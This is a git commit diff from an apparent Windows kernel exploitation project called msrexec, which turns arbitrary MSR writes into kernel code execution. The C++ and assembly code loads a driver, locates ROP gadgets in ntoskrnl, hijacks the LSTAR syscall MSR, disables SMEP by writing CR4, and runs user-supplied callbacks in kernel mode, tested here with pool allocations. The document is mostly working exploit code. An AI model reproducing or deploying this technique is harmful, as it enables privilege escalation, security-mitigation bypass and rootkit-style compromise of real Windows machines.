syscall handler works LSTAR gets restored...

merge-requests/1/head
_xeroxz 4 years ago
parent 93c45ecec2
commit 0fcc7cab62

@ -1,3 +0,0 @@
# msrexec
elevate arbitrary MSR writes to kernel execution

@ -2,6 +2,9 @@
#include "vdm.hpp" #include "vdm.hpp"
#include <iostream> #include <iostream>
using ex_alloc_pool_t = void* (*)(std::uint32_t, std::size_t);
using dbg_print_t = void(*)(const char*, ...);
int __cdecl main(int argc, char** argv) int __cdecl main(int argc, char** argv)
{ {
const auto [drv_handle, drv_key, drv_status] = vdm::load_drv(); const auto [drv_handle, drv_key, drv_status] = vdm::load_drv();
@ -11,20 +14,40 @@ int __cdecl main(int argc, char** argv)
return {}; return {};
} }
std::printf("drv handle -> 0x%x, drv key -> %s, drv status -> 0x%x\n", std::printf("drv handle -> 0x%x, drv key -> %s, drv status -> 0x%x\n", drv_handle, drv_key.c_str(), drv_status);
drv_handle, drv_key.c_str(), drv_status);
std::getchar();
std::printf("ntoskrnl base address -> 0x%p\n", utils::kmodule::get_base("ntoskrnl.exe")); std::printf("ntoskrnl base address -> 0x%p\n", utils::kmodule::get_base("ntoskrnl.exe"));
std::printf("NtShutdownSystem -> 0x%p\n", utils::kmodule::get_export("ntoskrnl.exe", "NtShutdownSystem")); std::printf("NtShutdownSystem -> 0x%p\n", utils::kmodule::get_export("ntoskrnl.exe", "NtShutdownSystem"));
vdm::writemsr_t _write_msr = writemsr_t _write_msr =
[&](std::uint32_t reg, std::uintptr_t value) -> void [&](std::uint32_t reg, std::uintptr_t value) -> void
{ vdm::writemsr(reg, value); }; {
// put your code here to write MSR....
// the code is defined in vdm::writemsr for me...
vdm::writemsr(reg, value);
};
const auto ex_alloc_pool =
reinterpret_cast<ex_alloc_pool_t>(
utils::kmodule::get_export(
"ntoskrnl.exe", "ExAllocatePool"));
const auto dbg_print =
reinterpret_cast<dbg_print_t>(
utils::kmodule::get_export(
"ntoskrnl.exe", "DbgPrint"));
sizeof write_msr_t;
vdm::msrexec_ctx msrexec(_write_msr); vdm::msrexec_ctx msrexec(_write_msr);
msrexec.exec([&]() -> void { int a = 10; }); std::printf("press enter to run 100 syscall tests...\n");
std::getchar();
for (auto idx = 0u; idx < 100; ++idx)
{
msrexec.exec([&ex_alloc_pool, &dbg_print]() -> void
{
dbg_print("> allocated pool -> 0x%p\n",
ex_alloc_pool(NULL, 0x1000));
});
}
const auto unload_result = const auto unload_result =
vdm::unload_drv(drv_handle, drv_key); vdm::unload_drv(drv_handle, drv_key);
@ -34,4 +57,7 @@ int __cdecl main(int argc, char** argv)
std::printf("> unable to unload driver... reason -> 0x%x\n", unload_result); std::printf("> unable to unload driver... reason -> 0x%x\n", unload_result);
return {}; return {};
} }
std::printf("completed tests...\n");
std::getchar();
} }

@ -1,5 +1,14 @@
#include "msrexec.hpp" #include "msrexec.hpp"
void msrexec_handler()
{
// restore LSTAR....
__writemsr(IA32_LSTAR_MSR, m_system_call);
// call usermode code...
//callback();
}
namespace vdm namespace vdm
{ {
msrexec_ctx::msrexec_ctx(writemsr_t wrmsr) msrexec_ctx::msrexec_ctx(writemsr_t wrmsr)
@ -13,12 +22,12 @@ namespace vdm
if (!m_sysret_gadget) if (!m_sysret_gadget)
m_sysret_gadget = m_sysret_gadget =
utils::rop::find_kgadget( utils::rop::find_kgadget(
SYSRET_GADGET, "xx"); SYSRET_GADGET, "xxx");
if (!m_pop_rcx_gadget) if (!m_pop_rcx_gadget)
m_pop_rcx_gadget = m_pop_rcx_gadget =
utils::rop::find_kgadget( utils::rop::find_kgadget(
POP_RCX_GADGET, "xx") + 2; POP_RCX_GADGET, "xx");
if (m_kpcr_rsp_offset && m_kpcr_krsp_offset) if (m_kpcr_rsp_offset && m_kpcr_krsp_offset)
return; return;
@ -56,12 +65,31 @@ namespace vdm
std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset); std::printf("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset);
std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset); std::printf("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset);
std::printf("> m_system_call -> 0x%p\n", m_system_call); std::printf("> m_system_call -> 0x%p\n", m_system_call);
std::getchar();
} }
void msrexec_ctx::exec(callback_t kernel_callback) void msrexec_ctx::exec(callback_t kernel_callback)
{ {
const thread_info_t thread_info =
{
GetPriorityClass(GetCurrentProcess()),
GetThreadPriority(GetCurrentThread())
};
// make it so our thread is highest possible priority...
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
// we want to finish off our quantum...
while (!SwitchToThread());
// set LSTAR to first rop gadget... race begins here...
wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget); wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget);
syscall_wrapper();
// go go gadget kernel execution...
syscall_wrapper(kernel_callback);
// reset thread priority...
SetPriorityClass(GetCurrentProcess(), thread_info.first);
SetThreadPriority(GetCurrentThread(), thread_info.second);
} }
} }

@ -1,33 +1,25 @@
#pragma once #pragma once
#include "utils.hpp" #include "utils.hpp"
#include "syscall_handler.h"
#include <intrin.h>
#define IA32_LSTAR_MSR 0xC0000082 #define IA32_LSTAR_MSR 0xC0000082
#define MOV_CR4_GADGET "\x0F\x22\xE1\xC3" #define MOV_CR4_GADGET "\x0F\x22\xE1\xC3"
#define POP_RCX_GADGET "\x59\xc3" #define POP_RCX_GADGET "\x59\xc3"
#define SYSRET_GADGET "\x0F\x07" #define SYSRET_GADGET "\x48\x0F\x07"
#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B" // this is win10 2004... TODO: see how far back this signature works...
#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xx" #define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA"
#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx"
static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size..."); static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size...");
extern "C" std::uint32_t m_kpcr_rsp_offset;
extern "C" std::uint32_t m_kpcr_krsp_offset;
extern "C" std::uintptr_t m_pop_rcx_gadget;
extern "C" std::uintptr_t m_mov_cr4_gadget;
extern "C" std::uintptr_t m_sysret_gadget;
extern "C" std::uintptr_t m_smep_on;
extern "C" std::uintptr_t m_smep_off;
extern "C" std::uintptr_t m_system_call;
extern "C" void syscall_wrapper();
namespace vdm
{
using callback_t = std::function<void()>; using callback_t = std::function<void()>;
using thread_info_t = std::pair<std::uint32_t, std::uint32_t>;
using writemsr_t = std::function<void(std::uint32_t, std::uintptr_t)>; using writemsr_t = std::function<void(std::uint32_t, std::uintptr_t)>;
extern "C" void msrexec_handler();
namespace vdm
{
class msrexec_ctx class msrexec_ctx
{ {
public: public:

@ -78,6 +78,7 @@
<Link> <Link>
<SubSystem>Console</SubSystem> <SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<LargeAddressAware>false</LargeAddressAware>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@ -95,6 +96,7 @@
<EnableCOMDATFolding>true</EnableCOMDATFolding> <EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<LargeAddressAware>false</LargeAddressAware>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />

@ -39,8 +39,8 @@
</ClCompile> </ClCompile>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<None Include="syscall_handler.asm"> <MASM Include="syscall_handler.asm">
<Filter>Source Files</Filter> <Filter>Source Files</Filter>
</None> </MASM>
</ItemGroup> </ItemGroup>
</Project> </Project>

@ -1,3 +1,5 @@
extern msrexec_handler : proc
.data .data
; offsets into _KPCR/_KPRCB ; offsets into _KPCR/_KPRCB
m_kpcr_rsp_offset dq 0h m_kpcr_rsp_offset dq 0h
@ -25,47 +27,52 @@
.code .code
syscall_handler proc syscall_handler proc
cli ; smep is disabled and LSTAR is still not restored at this point... ; we dont want the thread schedular to smoke us... swapgs ; swap gs to kernel gs (_KPCR...)
swapgs ; swap gs to kernel gs, and switch to kernel stack...
mov gs:m_kpcr_rsp_offset, rsp mov rax, m_kpcr_rsp_offset ; save usermode stack to _KPRCB
mov rsp, gs:m_kpcr_krsp_offset mov gs:[rax], rsp
mov rax, m_kpcr_krsp_offset ; load kernel rsp....
mov rsp, gs:[rax]
push rcx ; push RIP push rcx ; push RIP
push r11 ; push EFLAGS push r11 ; push EFLAGS
mov rcx, r10 ; swapped by syscall...
mov rcx, r10 ; swapped by syscall instruction so we switch it back...
sub rsp, 020h sub rsp, 020h
; call msrexec_handler call msrexec_handler ; call c++ handler (which restores LSTAR and calls lambda...)
add rsp, 020h add rsp, 020h
pop r11 ; pop EFLAGS pop r11 ; pop EFLAGS
pop rcx ; pop RIP pop rcx ; pop RIP
mov rsp, gs:m_kpcr_rsp_offset ; restore rsp...
swapgs mov rax, m_kpcr_rsp_offset ; restore rsp back to usermode stack...
sti ; we will be enabling smep in the next return... mov rsp, gs:[rax]
mov rax, m_smep_on ; cr4 will be set to rax in the next return...
swapgs ; swap back to TIB...
ret ret
syscall_handler endp syscall_handler endp
syscall_wrapper proc syscall_wrapper proc
push r10 push r10
mov r10, rcx ; rcx contains RIP after syscall instruction is executed... mov r10, rcx
push m_sysret_gadget ; rop to sysret... push m_sysret_gadget
lea rax, finish ; push rip back into rax... lea rax, finish
push rax push rax
push m_pop_rcx_gadget push m_pop_rcx_gadget
push m_mov_cr4_gadget ; enable smep... push m_mov_cr4_gadget
push m_smep_on push m_smep_on
push m_pop_rcx_gadget push m_pop_rcx_gadget
lea rax, syscall_handler ; rop from mov cr4 gadget to syscall handler... lea rax, syscall_handler
push rax push rax
push m_mov_cr4_gadget ; rop from syscall handler to enable smep again... push m_mov_cr4_gadget
push m_smep_off ; gets pop'ed into rcx by gadget at LSTAR... push m_smep_off
syscall syscall
finish: finish:
pop r10 pop r10
ret ret

@ -1,6 +1,13 @@
#pragma once #pragma once
#include <cstdint>
extern "C" std::uint32_t m_kpcr_rsp_offset;
extern "C" std::uint32_t m_kpcr_krsp_offset;
extern "C" unsigned long long cr4_value; extern "C" std::uintptr_t m_pop_rcx_gadget;
extern "C" unsigned long kpcr_rsp_offset; extern "C" std::uintptr_t m_mov_cr4_gadget;
extern "C" unsigned long kpcr_krsp_offset; extern "C" std::uintptr_t m_sysret_gadget;
extern "C" void syscall_handler(unsigned long long rip);
extern "C" std::uintptr_t m_smep_on;
extern "C" std::uintptr_t m_smep_off;
extern "C" std::uintptr_t m_system_call;
extern "C" void syscall_wrapper(...);
Loading…
Cancel
Save